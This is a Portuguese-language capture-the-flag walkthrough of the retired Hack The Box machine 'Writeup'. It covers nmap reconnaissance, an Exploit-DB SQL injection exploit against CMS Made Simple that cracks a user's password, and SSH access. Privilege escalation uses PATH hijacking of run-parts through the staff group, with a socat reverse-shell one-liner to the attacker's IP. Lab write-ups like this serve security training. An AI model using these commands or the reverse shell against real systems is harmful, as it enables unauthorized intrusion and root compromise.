Salve, Salve Galera,
Estou aqui novamente para apresentar mais um walkthrough para vocês. Dessa vez lhes trago Writeup.
Essa máquina possui o nível de dificuldade baixo e pode ser acessada apenas sendo assinante do HTB. Visto que ela encontra-se na listagem de RETIRED MACHINES.
Sem mais delongas, vamos ao que interessa!
Utilizando o nmap para verificar as portas abertas existentes.
root@kali:~/htb/writeup# nmap -sC -sV -sS -Pn 10.10.10.138 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 21:30 EDT Nmap scan report for 10.10.10.138 Host is up (0.24s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA) | 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA) |_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/writeup/ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Nothing here yet. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.36 seconds root@kali:~/htb/writeup#
Só temos os serviços SSH e HTTP disponíveis. Logo vamos começar nossa análise pela aplicação web.
Pela mensagem na tela, utilizar o dirsearch não é uma boa opção.
Bem…analisando o output do nmap, também identificamos que existe uma entrada chamada writeup no arquivo robots.txt.
Analisando o código fonte dessa página, percebemos que trata-se de um CMS chamado “CMS Made Simple”. Outro ponto relevante, é que aparentemente esse cms está atualizado até 2019.
Procurando no exploitdb, encontramos o CVE: 2019-9053.
An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the m1_idlist parameter.
Pela data de publicação do CVE, existe a possibilidade desse CMS está vulnerável a essa falha. O jeito é baixar o exploit e testar!
root@kali:~/htb/writeup# wget https://www.exploit-db.com/raw/46635 -O 46635.py --2020-04-07 22:43:25-- https://www.exploit-db.com/raw/46635 Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8 Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 6456 (6.3K) [text/plain] Saving to: ‘46635.py’ 46635.py 100%[===================================================================================>] 6.30K --.-KB/s in 0s 2020-04-07 22:43:32 (234 MB/s) - ‘46635.py’ saved [6456/6456] root@kali:~/htb/writeup# python 46635.py -u http://10.10.10.138/writeup/ --crac -w /usr/share/wordlists/rockyou.txt [+] Salt for password found: 5a599ef579066807 [+] Username found: jkr [+] Email found: jkr@writeup.htb [+] Password found: 62def4866937f08cc13bab43bb14e6f7 [+] Password cracked: raykayjay9
Agora que temos uma credencial válida, podemos verificar se ocorreu reutilização de senha.
root@kali:~/htb/writeup# ssh jkr@10.10.10.138 jkr@10.10.10.138's password: Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. jkr@writeup:~$
Agora basta coletar a flag de user.
Hora de escalonar privilégio para root.
Executando o comando id verificamos que o usuário jkr está em diversos grupos.
jkr@writeup:~$ id uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
O que nos chamou mais atenção foi o grupo staff.
staff: Allows users to add local modifications to the system (/usr/local) without needing root privileges (note that executables in /usr/local/bin are in the PATH variable of any user, and they may “override” the executables in /bin and /usr/bin with the same name). Compare with group “adm”, which is more related to monitoring/security.
Como podemos ver abaixo, temos acesso de escrita no diretório /usr/local/bin. Além disso, esse diretório possuí a maior precedência.
jkr@writeup:/usr/local/bin$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games jkr@writeup:/usr/local/bin$ ls -ld /usr/local/bin drwx-wsr-x 2 root staff 20480 Apr 8 21:27 /usr/local/bin jkr@writeup:/usr/local/bin$
O próximo passo é executar o pspy para monitorar os processos em execução.
jkr@writeup:/usr/local/bin$ cat htb.txt leandro esteves jkr@writeup:/usr/local/bin$ cat htb.txt cat: htb.txt: No such file or directory
Com pode ser visto acima, identificamos uma rotina de limpeza que executa a cada minuto apagando o conteúdo que criamos dentro do diretório /usr/local/bin. Além disso, identificamos que uma outra rotina é chamada logo após a conexão ssh.
Simplificando:
- A rotina cria um novo PATH em tempo de execução, o qual também temos acesso de escrita nos diretórios de maior precedência.
- A rotina está utilizando o run-parts para executar um script dentro do diretório /etc/update-motd.d.
jkr@writeup:~$ ls -l /etc/update-motd.d/ total 4 -rwxr-xr-x 1 root root 23 Jun 3 2018 10-uname jkr@writeup:~$
- E esse script chama apenas o uname.
jkr@writeup:/etc/update-motd.d$ cat 10-uname #!/bin/sh uname -rnsom jkr@writeup:/etc/update-motd.d$
- Essa rotina está sendo executada com privilégio de root.
Juntando todas essas informações, conseguimos com facilidade escalonar privilégio para root na máquina. Precisamos apenas criar um shell reverso com o nome de run-parts dentro do path.
jkr@writeup:~$echo -e '#!/bin/bash\nsocat exec:'\'bash -li\'',pty,stderr,setsid,sigint,sane tcp:10.10.14.23:4444' > /usr/local/bin/run-parts && chmod +x /usr/local/bin/run-parts
Na próxima conexão SSH… (Lembrando que a rotina de limpeza roda a cada minuto)
root@kali:~# socat file:`tty`,raw,echo=0 tcp-listen:4444 root@writeup:/# id uid=0(root) gid=0(root) groups=0(root) root@writeup:/#
Flag de system/root coletada.
Referências:
https://www.exploit-db.com/exploits/46635
https://wiki.debian.org/SystemGroups
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#generating-reverse-shell-commands